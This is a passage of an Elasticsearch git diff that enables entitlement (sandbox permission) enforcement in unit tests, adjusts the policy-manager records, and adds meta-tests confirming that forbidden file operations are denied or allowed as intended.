                     // Remove output class files and any other dependencies from the test classpath, since the shadow JAR includes these
-                    SourceSetContainer sourceSets = project.getExtensions().getByType(SourceSetContainer.class);
-                    FileCollection mainRuntime = sourceSets.getByName(SourceSet.MAIN_SOURCE_SET_NAME).getRuntimeClasspath();
                     // Add any "shadow" dependencies. These are dependencies that are *not* bundled into the shadow JAR
                     Configuration shadowConfig = project.getConfigurations().getByName(ShadowBasePlugin.CONFIGURATION_NAME);
                     // Add the shadow JAR artifact itself
                     FileCollection shadowJar = project.files(project.getTasks().named("shadowJar"));
-                    FileCollection testRuntime = sourceSets.getByName(SourceSet.TEST_SOURCE_SET_NAME).getRuntimeClasspath();
+                    FileCollection mainRuntime = mainSourceSet.getRuntimeClasspath();
+                    FileCollection testRuntime = testSourceSet.getRuntimeClasspath();
                     test.setClasspath(testRuntime.minus(mainRuntime).plus(shadowConfig).plus(shadowJar));
                 }
             });
         });
-        configureImmutableCollectionsPatch(project);
+        configureJavaBaseModuleOptions(project);
+        configureEntitlements(project);
+    }
+
+    /**
+     * Computes and sets the {@code --patch-module=java.base} and {@code --add-opens=java.base} JVM command line options.
+     */
+    private void configureJavaBaseModuleOptions(Project project) {
+        project.getTasks().withType(Test.class).matching(task -> task.getName().equals("test")).configureEach(test -> {
+            FileCollection patchedImmutableCollections = patchedImmutableCollections(project);
+            if (patchedImmutableCollections != null) {
+                test.getInputs().files(patchedImmutableCollections);
+                test.systemProperty("tests.hackImmutableCollections", "true");
+            }
+
+            FileCollection entitlementBridge = entitlementBridge(project);
+            if (entitlementBridge != null) {
+                test.getInputs().files(entitlementBridge);
+            }
+
+            test.getJvmArgumentProviders().add(() -> {
+                String javaBasePatch = Stream.concat(
+                    singleFilePath(patchedImmutableCollections).map(str -> str + "/java.base"),
+                    singleFilePath(entitlementBridge)
+                ).collect(joining(File.pathSeparator));
+
+                return javaBasePatch.isEmpty()
+                    ? List.of()
+                    : List.of("--patch-module=java.base=" + javaBasePatch, "--add-opens=java.base/java.util=ALL-UNNAMED");
+            });
+        });
     }
 
-    private void configureImmutableCollectionsPatch(Project project) {
+    private Stream<String> singleFilePath(FileCollection collection) {
+        return Stream.ofNullable(collection).filter(fc -> fc.isEmpty() == false).map(FileCollection::getSingleFile).map(File::toString);
+    }
+
+    private static FileCollection patchedImmutableCollections(Project project) {
         String patchProject = ":test:immutable-collections-patch";
         if (project.findProject(patchProject) == null) {
-            return; // build tests may not have this project, just skip
+            return null; // build tests may not have this project, just skip
         }
         String configurationName = "immutableCollectionsPatch";
         FileCollection patchedFileCollection = project.getConfigurations()
             .create(configurationName, config -> config.setCanBeConsumed(false));
         var deps = project.getDependencies();
         deps.add(configurationName, deps.project(Map.of("path", patchProject, "configuration", "patch")));
-        project.getTasks().withType(Test.class).matching(task -> task.getName().equals("test")).configureEach(test -> {
-            test.getInputs().files(patchedFileCollection);
-            test.systemProperty("tests.hackImmutableCollections", "true");
-            test.getJvmArgumentProviders()
-                .add(
-                    () -> List.of(
-                        "--patch-module=java.base=" + patchedFileCollection.getSingleFile() + "/java.base",
-                        "--add-opens=java.base/java.util=ALL-UNNAMED"
-                    )
+        return patchedFileCollection;
+    }
+
+    private static FileCollection entitlementBridge(Project project) {
+        return project.getConfigurations().findByName("entitlementBridge");
+    }
+
+    /**
+     * Sets the required JVM options and system properties to enable entitlement enforcement on tests.
+     * <p>
+     * One command line option is set in {@link #configureJavaBaseModuleOptions} out of necessity,
+     * since the command line can have only one {@code --patch-module} option for a given module.
+     */
+    private static void configureEntitlements(Project project) {
+        Configuration agentConfig = project.getConfigurations().create("entitlementAgent");
+        Project agent = project.findProject(":libs:entitlement:agent");
+        if (agent != null) {
+            agentConfig.defaultDependencies(
+                deps -> { deps.add(project.getDependencies().project(Map.of("path", ":libs:entitlement:agent"))); }
+            );
+        }
+        FileCollection agentFiles = agentConfig;
+
+        Configuration bridgeConfig = project.getConfigurations().create("entitlementBridge");
+        Project bridge = project.findProject(":libs:entitlement:bridge");
+        if (bridge != null) {
+            bridgeConfig.defaultDependencies(
+                deps -> { deps.add(project.getDependencies().project(Map.of("path", ":libs:entitlement:bridge"))); }
+            );
+        }
+        FileCollection bridgeFiles = bridgeConfig;
+
+        project.getTasks().withType(Test.class).configureEach(test -> {
+            // See also SystemJvmOptions.maybeAttachEntitlementAgent.
+
+            // Agent
+            if (agentFiles.isEmpty() == false) {
+                test.getInputs().files(agentFiles);
+                test.systemProperty("es.entitlement.agentJar", agentFiles.getAsPath());
+                test.systemProperty("jdk.attach.allowAttachSelf", true);
+            }
+
+            // Bridge
+            if (bridgeFiles.isEmpty() == false) {
+                String modulesContainingEntitlementInstrumentation = "java.logging,java.net.http,java.naming,jdk.net";
+                test.getInputs().files(bridgeFiles);
+                // Tests may not be modular, but the JDK still is
+                test.jvmArgs(
+                    "--add-exports=java.base/org.elasticsearch.entitlement.bridge=ALL-UNNAMED,"
+                        + modulesContainingEntitlementInstrumentation
                 );
+            }
         });
     }
+
 }
diff --git a/build-tools-internal/src/test/java/org/elasticsearch/gradle/internal/release/ReleaseNotesGeneratorTest.java b/build-tools-internal/src/test/java/org/elasticsearch/gradle/internal/release/ReleaseNotesGeneratorTest.java
index c967e8cb8b9fb..380d4fbf8414d 100644
--- a/build-tools-internal/src/test/java/org/elasticsearch/gradle/internal/release/ReleaseNotesGeneratorTest.java
+++ b/build-tools-internal/src/test/java/org/elasticsearch/gradle/internal/release/ReleaseNotesGeneratorTest.java
@@ -188,7 +188,7 @@ private ChangelogEntry makeHighlightsEntry(int pr, boolean notable) {
     }
 
     private String getResource(String name) throws Exception {
-        return Files.readString(Paths.get(Objects.requireNonNull(this.getClass().getResource(name)).toURI()), StandardCharsets.UTF_8);
+        return Files.readString(Paths.get(Objects.requireNonNull(this.getClass().getResource(name)).toURI()), StandardCharsets.UTF_8).replace("\r", "");
     }
 
     private void writeResource(String name, String contents) throws Exception {
diff --git a/build-tools/src/main/java/org/elasticsearch/gradle/test/TestBuildInfoPlugin.java b/build-tools/src/main/java/org/elasticsearch/gradle/test/TestBuildInfoPlugin.java
index 3cab57a333d2c..ed20d40582f57 100644
--- a/build-tools/src/main/java/org/elasticsearch/gradle/test/TestBuildInfoPlugin.java
+++ b/build-tools/src/main/java/org/elasticsearch/gradle/test/TestBuildInfoPlugin.java
@@ -18,8 +18,11 @@
 import org.gradle.api.provider.ProviderFactory;
 import org.gradle.api.tasks.SourceSet;
 import org.gradle.api.tasks.SourceSetContainer;
+import org.gradle.api.tasks.testing.Test;
 import org.gradle.language.jvm.tasks.ProcessResources;
 
+import java.util.List;
+
 import javax.inject.Inject;
 
 /**
@@ -53,5 +56,11 @@ public void apply(Project project) {
         project.getTasks().withType(ProcessResources.class).named("processResources").configure(task -> {
             task.into("META-INF", copy -> copy.from(testBuildInfoTask));
         });
+
+        if (project.getRootProject().getName().equals("elasticsearch")) {
+            project.getTasks().withType(Test.class).matching(test -> List.of("test").contains(test.getName())).configureEach(test -> {
+                test.systemProperty("es.entitlement.enableForTests", "true");
+            });
+        }
     }
 }
diff --git a/libs/build.gradle b/libs/build.gradle
index efd2329ca2b5e..b39ddaab98c2d 100644
--- a/libs/build.gradle
+++ b/libs/build.gradle
@@ -45,4 +45,14 @@ configure(childProjects.values()) {
      */
     apply plugin: 'elasticsearch.build'
   }
+
+  // This is for any code potentially included in the server at runtime.
+  // Omit oddball libraries that aren't in server.
+  def nonServerLibs = ['plugin-scanner']
+  if (false == nonServerLibs.contains(project.name)) {
+    project.getTasks().withType(Test.class).matching(test -> ['test'].contains(test.name)).configureEach(test -> {
+      test.systemProperty('es.entitlement.enableForTests', 'true')
+    })
+  }
+
 }
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java
index 5ea477c177740..2c3374f594847 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java
@@ -135,7 +135,7 @@ private void neverEntitled(Class<?> callerClass, Supplier<String> operationDescr
             Strings.format(
                 "component [%s], module [%s], class [%s], operation [%s]",
                 entitlements.componentName(),
-                PolicyCheckerImpl.getModuleName(requestingClass),
+                entitlements.moduleName(),
                 requestingClass,
                 operationDescription.get()
             ),
@@ -247,7 +247,7 @@ public void checkFileRead(Class<?> callerClass, Path path, boolean followLinks)
                 Strings.format(
                     "component [%s], module [%s], class [%s], entitlement [file], operation [read], path [%s]",
                     entitlements.componentName(),
-                    PolicyCheckerImpl.getModuleName(requestingClass),
+                    entitlements.moduleName(),
                     requestingClass,
                     realPath == null ? path : Strings.format("%s -> %s", path, realPath)
                 ),
@@ -279,7 +279,7 @@ public void checkFileWrite(Class<?> callerClass, Path path) {
                 Strings.format(
                     "component [%s], module [%s], class [%s], entitlement [file], operation [write], path [%s]",
                     entitlements.componentName(),
-                    PolicyCheckerImpl.getModuleName(requestingClass),
+                    entitlements.moduleName(),
                     requestingClass,
                     path
                 ),
@@ -383,7 +383,7 @@ public void checkWriteProperty(Class<?> callerClass, String property) {
                     () -> Strings.format(
                         "Entitled: component [%s], module [%s], class [%s], entitlement [write_system_properties], property [%s]",
                         entitlements.componentName(),
-                        PolicyCheckerImpl.getModuleName(requestingClass),
+                        entitlements.moduleName(),
                         requestingClass,
                         property
                     )
@@ -394,7 +394,7 @@ public void checkWriteProperty(Class<?> callerClass, String property) {
             Strings.format(
                 "component [%s], module [%s], class [%s], entitlement [write_system_properties], property [%s]",
                 entitlements.componentName(),
-                PolicyCheckerImpl.getModuleName(requestingClass),
+                entitlements.moduleName(),
                 requestingClass,
                 property
             ),
@@ -447,7 +447,7 @@ private void checkFlagEntitlement(
                 Strings.format(
                     "component [%s], module [%s], class [%s], entitlement [%s]",
                     classEntitlements.componentName(),
-                    PolicyCheckerImpl.getModuleName(requestingClass),
+                    classEntitlements.moduleName(),
                     requestingClass,
                     PolicyParser.buildEntitlementNameFromClass(entitlementClass)
                 ),
@@ -460,7 +460,7 @@ private void checkFlagEntitlement(
                 () -> Strings.format(
                     "Entitled: component [%s], module [%s], class [%s], entitlement [%s]",
                     classEntitlements.componentName(),
-                    PolicyCheckerImpl.getModuleName(requestingClass),
+                    classEntitlements.moduleName(),
                     requestingClass,
                     PolicyParser.buildEntitlementNameFromClass(entitlementClass)
                 )
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
index d05d9ad5858cd..f7d465adee631 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
@@ -118,8 +118,9 @@ public enum ComponentKind {
      *
      * @param componentName the plugin name or else one of the special component names like "(server)".
      */
-    record ModuleEntitlements(
+    protected record ModuleEntitlements(
         String componentName,
+        String moduleName,
         Map<Class<? extends Entitlement>, List<Entitlement>> entitlementsByType,
         FileAccessTree fileAccess,
         Logger logger
@@ -148,7 +149,13 @@ private FileAccessTree getDefaultFileAccess(Collection<Path> componentPaths) {
 
     // pkg private for testing
     ModuleEntitlements defaultEntitlements(String componentName, Collection<Path> componentPaths, String moduleName) {
-        return new ModuleEntitlements(componentName, Map.of(), getDefaultFileAccess(componentPaths), getLogger(componentName, moduleName));
+        return new ModuleEntitlements(
+            componentName,
+            moduleName,
+            Map.of(),
+            getDefaultFileAccess(componentPaths),
+            getLogger(componentName, moduleName)
+        );
     }
 
     // pkg private for testing
@@ -166,6 +173,7 @@ ModuleEntitlements policyEntitlements(
         }
         return new ModuleEntitlements(
             componentName,
+            moduleName,
             entitlements.stream().collect(groupingBy(Entitlement::getClass)),
             FileAccessTree.of(componentName, moduleName, filesEntitlement, pathLookup, componentPaths, exclusivePaths),
             getLogger(componentName, moduleName)
@@ -293,11 +301,11 @@ private static Logger getLogger(String componentName, String moduleName) {
      */
     private static final ConcurrentHashMap<String, Logger> MODULE_LOGGERS = new ConcurrentHashMap<>();
 
-    ModuleEntitlements getEntitlements(Class<?> requestingClass) {
+    protected ModuleEntitlements getEntitlements(Class<?> requestingClass) {
         return moduleEntitlementsMap.computeIfAbsent(requestingClass.getModule(), m -> computeEntitlements(requestingClass));
     }
 
-    private ModuleEntitlements computeEntitlements(Class<?> requestingClass) {
+    protected final ModuleEntitlements computeEntitlements(Class<?> requestingClass) {
         var policyScope = scopeResolver.apply(requestingClass);
         var componentName = policyScope.componentName();
         var moduleName = policyScope.moduleName();
@@ -336,8 +344,7 @@ private ModuleEntitlements computeEntitlements(Class<?> requestingClass) {
         }
     }
 
-    // pkg private for testing
-    static Collection<Path> getComponentPathsFromClass(Class<?> requestingClass) {
+    protected Collection<Path> getComponentPathsFromClass(Class<?> requestingClass) {
         var codeSource = requestingClass.getProtectionDomain().getCodeSource();
         if (codeSource == null) {
             return List.of();
diff --git a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java
index a8e66ffae0feb..21197fc6bd942 100644
--- a/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java
+++ b/libs/entitlement/src/test/java/org/elasticsearch/entitlement/runtime/policy/PolicyManagerTests.java
@@ -89,7 +89,6 @@ public void testGetEntitlements() {
         AtomicReference<PolicyScope> policyScope = new AtomicReference<>();
 
         // A common policy with a variety of entitlements to test
-        Collection<Path> thisSourcePaths = PolicyManager.getComponentPathsFromClass(getClass());
         var plugin1SourcePaths = List.of(Path.of("modules", "plugin1"));
         var policyManager = new PolicyManager(
             new Policy("server", List.of(new Scope("org.example.httpclient", List.of(new OutboundNetworkEntitlement())))),
@@ -99,6 +98,7 @@ public void testGetEntitlements() {
             Map.of("plugin1", plugin1SourcePaths),
             TEST_PATH_LOOKUP
         );
+        Collection<Path> thisSourcePaths = policyManager.getComponentPathsFromClass(getClass());
 
         // "Unspecified" below means that the module is not named in the policy
 
diff --git a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/AttachmentProcessorTests.java b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/AttachmentProcessorTests.java
index 4916f578903ce..f0f4e870cb211 100644
--- a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/AttachmentProcessorTests.java
+++ b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/AttachmentProcessorTests.java
@@ -15,6 +15,7 @@
 import org.elasticsearch.ingest.Processor;
 import org.elasticsearch.ingest.RandomDocumentPicks;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 import org.junit.Before;
 
 import java.io.InputStream;
@@ -38,6 +39,7 @@
 import static org.hamcrest.Matchers.notNullValue;
 import static org.hamcrest.Matchers.nullValue;
 
+@WithoutEntitlements // ES-12084
 public class AttachmentProcessorTests extends ESTestCase {
 
     private Processor processor;
diff --git a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaDocTests.java b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaDocTests.java
index c17570f3df0da..5545a5e1a8899 100644
--- a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaDocTests.java
+++ b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaDocTests.java
@@ -14,6 +14,7 @@
 import org.apache.tika.metadata.Metadata;
 import org.elasticsearch.core.PathUtils;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 
 import java.nio.file.DirectoryStream;
 import java.nio.file.Files;
@@ -25,6 +26,7 @@
  * comes back and no exception.
  */
 @SuppressFileSystems("ExtrasFS") // don't try to parse extraN
+@WithoutEntitlements // ES-12084
 public class TikaDocTests extends ESTestCase {
 
     /** some test files from tika test suite, zipped up */
diff --git a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaImplTests.java b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaImplTests.java
index baf51484245d4..094dd47dcb2e1 100644
--- a/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaImplTests.java
+++ b/modules/ingest-attachment/src/test/java/org/elasticsearch/ingest/attachment/TikaImplTests.java
@@ -9,7 +9,9 @@
 package org.elasticsearch.ingest.attachment;
 
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 
+@WithoutEntitlements // ES-12084
 public class TikaImplTests extends ESTestCase {
 
     public void testTikaLoads() throws Exception {
diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorFactoryTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorFactoryTests.java
index 1dc7e87004caf..f2624400d4812 100644
--- a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorFactoryTests.java
+++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorFactoryTests.java
@@ -11,6 +11,7 @@
 
 import org.elasticsearch.ElasticsearchParseException;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 import org.junit.Before;
 
 import java.util.HashMap;
@@ -18,6 +19,7 @@
 
 import static org.hamcrest.Matchers.equalTo;
 
+@WithoutEntitlements // ES-12084
 public class RegisteredDomainProcessorFactoryTests extends ESTestCase {
 
     private RegisteredDomainProcessor.Factory factory;
diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorTests.java
index b9fe870af2385..68255ec0ca5e4 100644
--- a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorTests.java
+++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorTests.java
@@ -13,6 +13,7 @@
 import org.elasticsearch.ingest.TestIngestDocument;
 import org.elasticsearch.ingest.common.RegisteredDomainProcessor.DomainInfo;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 
 import java.util.Collections;
 import java.util.Map;
@@ -30,6 +31,7 @@
  * Effective TLDs (eTLDs) are not the same as DNS TLDs. Uses for eTLDs are listed here:
  *   https://publicsuffix.org/learn/
  */
+@WithoutEntitlements // ES-12084
 public class RegisteredDomainProcessorTests extends ESTestCase {
 
     public void testGetRegisteredDomain() {
diff --git a/server/src/main/java/org/elasticsearch/bootstrap/Elasticsearch.java b/server/src/main/java/org/elasticsearch/bootstrap/Elasticsearch.java
index 5e3c5d026f283..e38f2f88d4ad9 100644
--- a/server/src/main/java/org/elasticsearch/bootstrap/Elasticsearch.java
+++ b/server/src/main/java/org/elasticsearch/bootstrap/Elasticsearch.java
@@ -267,11 +267,18 @@ private static void initPhase2(Bootstrap bootstrap) throws IOException {
             args.pidFile(),
             Set.of(EntitlementSelfTester.class.getPackage())
         );
-        EntitlementSelfTester.entitlementSelfTest();
+        entitlementSelfTest();
 
         bootstrap.setPluginsLoader(pluginsLoader);
     }
 
+    /**
+     * @throws IllegalStateException if entitlements aren't functioning properly.
+     */
+    static void entitlementSelfTest() {
+        EntitlementSelfTester.entitlementSelfTest();
+    }
+
     private static void logSystemInfo() {
         final Logger logger = LogManager.getLogger(Elasticsearch.class);
         logger.info(
diff --git a/server/src/test/java/org/elasticsearch/ExceptionSerializationTests.java b/server/src/test/java/org/elasticsearch/ExceptionSerializationTests.java
index bfa897173a368..dba50a794a780 100644
--- a/server/src/test/java/org/elasticsearch/ExceptionSerializationTests.java
+++ b/server/src/test/java/org/elasticsearch/ExceptionSerializationTests.java
@@ -217,7 +217,9 @@ public FileVisitResult postVisitDirectory(Path dir, IOException exc) {
         };
 
         Files.walkFileTree(startPath, visitor);
-        final Path testStartPath = PathUtils.get(ExceptionSerializationTests.class.getResource(path).toURI());
+        final Path testStartPath = PathUtils.get(
+            ElasticsearchExceptionTests.class.getProtectionDomain().getCodeSource().getLocation().toURI()
+        ).resolve("org").resolve("elasticsearch");
         Files.walkFileTree(testStartPath, visitor);
         assertTrue(notRegistered.remove(TestException.class));
         assertTrue(notRegistered.remove(UnknownHeaderException.class));
diff --git a/server/src/test/java/org/elasticsearch/bootstrap/EntitlementMetaTests.java b/server/src/test/java/org/elasticsearch/bootstrap/EntitlementMetaTests.java
new file mode 100644
index 0000000000000..04e59e5476f3b
--- /dev/null
+++ b/server/src/test/java/org/elasticsearch/bootstrap/EntitlementMetaTests.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.bootstrap;
+
+import org.elasticsearch.core.SuppressForbidden;
+import org.elasticsearch.entitlement.bootstrap.TestEntitlementBootstrap;
+import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithEntitlementsOnTestCode;
+
+import java.io.IOException;
+import java.nio.file.Path;
+
+/**
+ * Ensures that unit tests are subject to entitlement checks.
+ * This is a "meta test" because it tests that the tests are working:
+ * if these tests fail, it means other tests won't be correctly detecting
+ * entitlement enforcement errors.
+ * <p>
+ * It may seem strange to have this test where it is, rather than in the entitlement library.
+ * There's a reason for that.
+ * <p>
+ * To exercise entitlement enforcement, we must attempt an operation that should be denied.
+ * This necessitates some operation that fails the entitlement check,
+ * and it must be in production code (or else we'd also need {@link WithEntitlementsOnTestCode},
+ * and we don't want to require that here).
+ * Naturally, there are very few candidates, because most code doesn't fail entitlement checks:
+ * really just the entitlement self-test we do at startup. Hence, that's what we use here.
+ * <p>
+ * Since we want to call the self-test, which is in the server, we can't call it
+ * from a place like the entitlement library tests, because those deliberately do not
+ * have a dependency on the server code. Hence, this test lives here in the server tests.
+ *
+ * @see WithoutEntitlementsMetaTests
+ * @see WithEntitlementsOnTestCodeMetaTests
+ */
+public class EntitlementMetaTests extends ESTestCase {
+    public void testSelfTestPasses() {
+        assumeTrue("Not yet working in serverless", TestEntitlementBootstrap.isEnabledForTest());
+        Elasticsearch.entitlementSelfTest();
+    }
+
+    /**
+     * Unless {@link WithEntitlementsOnTestCode} is specified, sensitive methods <em>can</em>
+     * be called from test code.
+     */
+    @SuppressForbidden(reason = "Testing that a forbidden API is allowed under these circumstances")
+    public void testForbiddenActionAllowedInTestCode() throws IOException {
+        // If entitlements were enforced, this would throw.
+        Path.of(".").toRealPath();
+    }
+}
diff --git a/server/src/test/java/org/elasticsearch/bootstrap/WithEntitlementsOnTestCodeMetaTests.java b/server/src/test/java/org/elasticsearch/bootstrap/WithEntitlementsOnTestCodeMetaTests.java
new file mode 100644
index 0000000000000..c126490922e48
--- /dev/null
+++ b/server/src/test/java/org/elasticsearch/bootstrap/WithEntitlementsOnTestCodeMetaTests.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.bootstrap;
+
+import org.elasticsearch.core.SuppressForbidden;
+import org.elasticsearch.entitlement.bootstrap.TestEntitlementBootstrap;
+import org.elasticsearch.entitlement.runtime.api.NotEntitledException;
+import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithEntitlementsOnTestCode;
+
+import java.nio.file.Path;
+
+/**
+ * A version of {@link EntitlementMetaTests} that tests {@link WithEntitlementsOnTestCode}.
+ *
+ * @see EntitlementMetaTests
+ * @see WithoutEntitlementsMetaTests
+ */
+@WithEntitlementsOnTestCode
+public class WithEntitlementsOnTestCodeMetaTests extends ESTestCase {
+    /**
+     * {@link WithEntitlementsOnTestCode} should not affect this, since the sensitive method
+     * is called from server code. The self-test should pass as usual.
+     */
+    public void testSelfTestPasses() {
+        assumeTrue("Not yet working in serverless", TestEntitlementBootstrap.isEnabledForTest());
+        Elasticsearch.entitlementSelfTest();
+    }
+
+    @SuppressForbidden(reason = "Testing that a forbidden API is disallowed")
+    public void testForbiddenActionDenied() {
+        assumeTrue("Not yet working in serverless", TestEntitlementBootstrap.isEnabledForTest());
+        assertThrows(NotEntitledException.class, () -> Path.of(".").toRealPath());
+    }
+}
diff --git a/server/src/test/java/org/elasticsearch/bootstrap/WithoutEntitlementsMetaTests.java b/server/src/test/java/org/elasticsearch/bootstrap/WithoutEntitlementsMetaTests.java
new file mode 100644
index 0000000000000..8ec9116a97ab8
--- /dev/null
+++ b/server/src/test/java/org/elasticsearch/bootstrap/WithoutEntitlementsMetaTests.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.bootstrap;
+
+import org.elasticsearch.core.SuppressForbidden;
+import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
+
+import java.io.IOException;
+import java.nio.file.Path;
+
+/**
+ * A version of {@link EntitlementMetaTests} that tests {@link WithoutEntitlements}.
+ *
+ * @see EntitlementMetaTests
+ * @see WithEntitlementsOnTestCodeMetaTests
+ */
+@WithoutEntitlements
+public class WithoutEntitlementsMetaTests extends ESTestCase {
+    /**
+     * Without enforcement of entitlements, {@link Elasticsearch#entitlementSelfTest} will fail and throw.
+     */
+    public void testSelfTestFails() {
+        assertThrows(IllegalStateException.class, Elasticsearch::entitlementSelfTest);
+    }
+
+    /**
+     * A forbidden action called from test code should be allowed,
+     * with or without {@link WithoutEntitlements}.
+     */
+    @SuppressForbidden(reason = "Testing that a forbidden API is allowed under these circumstances")
+    public void testForbiddenActionAllowed() throws IOException {
+        // If entitlements were enforced, this would throw
+        Path.of(".").toRealPath();
+    }
+}
diff --git a/server/src/test/java/org/elasticsearch/common/settings/ScopedSettingsTests.java b/server/src/test/java/org/elasticsearch/common/settings/ScopedSettingsTests.java
index 47026fe713c5c..253abcf93dace 100644
--- a/server/src/test/java/org/elasticsearch/common/settings/ScopedSettingsTests.java
+++ b/server/src/test/java/org/elasticsearch/common/settings/ScopedSettingsTests.java
@@ -20,6 +20,7 @@
 import org.elasticsearch.index.IndexModule;
 import org.elasticsearch.index.IndexVersion;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 import org.elasticsearch.transport.TransportSettings;
 import org.mockito.Mockito;
 
@@ -48,6 +49,7 @@
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.verifyNoMoreInteractions;
 
+@WithoutEntitlements // Entitlement logging interferes
 public class ScopedSettingsTests extends ESTestCase {
 
     public void testResetSetting() {
diff --git a/server/src/test/java/org/elasticsearch/index/engine/InternalEngineTests.java b/server/src/test/java/org/elasticsearch/index/engine/InternalEngineTests.java
index 680f6fca9652e..a41a5dd9394b4 100644
--- a/server/src/test/java/org/elasticsearch/index/engine/InternalEngineTests.java
+++ b/server/src/test/java/org/elasticsearch/index/engine/InternalEngineTests.java
@@ -2534,11 +2534,11 @@ public void testIndexWriterInfoStream() throws IllegalAccessException, IOExcepti
         MockAppender mockAppender = new MockAppender("testIndexWriterInfoStream");
         mockAppender.start();
 
-        Logger rootLogger = LogManager.getRootLogger();
-        Level savedLevel = rootLogger.getLevel();
-        Loggers.addAppender(rootLogger, mockAppender);
-        Loggers.setLevel(rootLogger, Level.DEBUG);
-        rootLogger = LogManager.getRootLogger();
+        Logger theLogger = LogManager.getLogger("org.elasticsearch.index");
+        Level savedLevel = theLogger.getLevel();
+        Loggers.addAppender(theLogger, mockAppender);
+        Loggers.setLevel(theLogger, Level.DEBUG);
+        theLogger = LogManager.getLogger("org.elasticsearch.index");
 
         try {
             // First, with DEBUG, which should NOT log IndexWriter output:
@@ -2548,15 +2548,15 @@ public void testIndexWriterInfoStream() throws IllegalAccessException, IOExcepti
             assertFalse(mockAppender.sawIndexWriterMessage);
 
             // Again, with TRACE, which should log IndexWriter output:
-            Loggers.setLevel(rootLogger, Level.TRACE);
+            Loggers.setLevel(theLogger, Level.TRACE);
             engine.index(indexForDoc(doc));
             engine.flush();
             assertTrue(mockAppender.sawIndexWriterMessage);
             engine.close();
         } finally {
-            Loggers.removeAppender(rootLogger, mockAppender);
+            Loggers.removeAppender(theLogger, mockAppender);
             mockAppender.stop();
-            Loggers.setLevel(rootLogger, savedLevel);
+            Loggers.setLevel(theLogger, savedLevel);
         }
     }
 
@@ -2596,10 +2596,10 @@ public void testMergeThreadLogging() throws Exception {
